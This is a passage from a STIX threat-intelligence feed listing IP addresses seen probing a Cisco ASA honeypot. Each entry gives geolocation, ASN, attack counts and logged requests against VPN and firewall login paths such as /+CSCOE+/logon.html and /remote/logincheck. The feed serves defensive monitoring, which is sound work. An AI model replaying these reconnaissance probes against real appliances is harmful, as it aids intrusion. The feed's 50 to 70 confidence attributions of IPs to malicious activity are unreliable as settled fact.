      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--6b9a95a1-eb24-49ef-a5ac-b3a75b9150dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.153.162.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:20:06.000Z",
      "valid_until": "2026-05-27T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T03:35:58.645Z",
          "last_seen": "2026-04-25T03:35:59.412Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 2914,
          "as_org": "NTT America, Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T05:20:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6bb8f759-d8b5-4a9d-b35e-7760b4981be0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T05:20:45.000Z",
      "valid_until": "2026-05-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T19:56:01.832Z",
          "last_seen": "2026-04-28T05:33:51.287Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T05:20:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--a0d93b94-67fd-484e-a9e9-627db5d7d98f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T05:20:45.000Z",
      "valid_until": "2026-05-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-25T04:32:12.251Z",
          "last_seen": "2026-04-25T04:32:28.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--ac28fbca-b175-4227-81de-3de571e43b20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:00:11.391Z",
          "last_seen": "2026-04-25T06:00:11.391Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--c1a85d5a-4b46-4025-acbe-902d5ad4fcb1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:08:56.495Z",
          "last_seen": "2026-04-25T06:08:56.495Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--86e78e36-2558-4211-982d-1cf55dbb3f8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:18:52.233Z",
          "last_seen": "2026-04-25T06:18:52.233Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-25T05:33:29.118Z",
          "last_seen": "2026-04-25T05:40:01.891Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c77c4143-7ff5-468d-9540-440d7aa8dafd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T05:38:06.157Z",
          "last_seen": "2026-04-25T05:38:06.157Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--48003a9f-39b6-40a3-ad9a-1fb1cc4f67c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T05:38:18.757Z",
          "last_seen": "2026-04-25T05:38:18.757Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d9edc05e-8f41-4776-8284-70671902b54f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T05:35:39.954Z",
          "last_seen": "2026-04-25T05:38:26.457Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T05:37:59.661Z",
          "last_seen": "2026-04-25T05:37:59.661Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ff9ff069-b2b0-4168-9a16-93223070220f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T05:38:03.437Z",
          "last_seen": "2026-04-25T05:38:27.767Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--0947eb8e-72d1-41da-8a07-47349638b117",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T05:38:16.664Z",
          "last_seen": "2026-04-25T05:38:16.664Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9a881028-4e82-4dbd-b64e-802ed1d98bb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T05:36:27.494Z",
          "last_seen": "2026-04-25T05:36:27.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--ae1199d0-1dfe-4a0a-9999-56c076375221",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:01:04.710Z",
          "last_seen": "2026-04-25T06:01:04.710Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--83f67ded-3e8d-4504-b39e-a018d357f974",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:00:12.370Z",
          "last_seen": "2026-04-25T06:00:12.370Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--2ca53219-ec62-4ee9-8470-5d422fa4d552",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:00:53.040Z",
          "last_seen": "2026-04-25T06:00:53.040Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T06:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--8d90b87d-026a-4f64-ad1b-2a7178250b12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.26.0.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:20:43.000Z",
      "valid_until": "2026-05-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T06:00:20.796Z",
          "last_seen": "2026-04-25T06:00:20.796Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--41e3bd74-b784-4866-aa53-d7fc878b46b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:20:13.000Z",
      "valid_until": "2026-05-27T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-25T06:23:10.899Z",
          "last_seen": "2026-04-25T08:27:34.482Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T09:20:48.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--70b9c222-787a-41b9-85bc-f4a3bb8d5ce3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:20:48.000Z",
      "valid_until": "2026-05-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-25T09:08:39.188Z",
          "last_seen": "2026-04-30T03:36:19.886Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T09:20:48.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--270e5dbe-2463-4c42-be3f-274f17afadef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:20:48.000Z",
      "valid_until": "2026-05-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-25T08:40:56.525Z",
          "last_seen": "2026-04-25T08:55:11.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fe41effc-af3f-459d-972a-04515e77cf2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
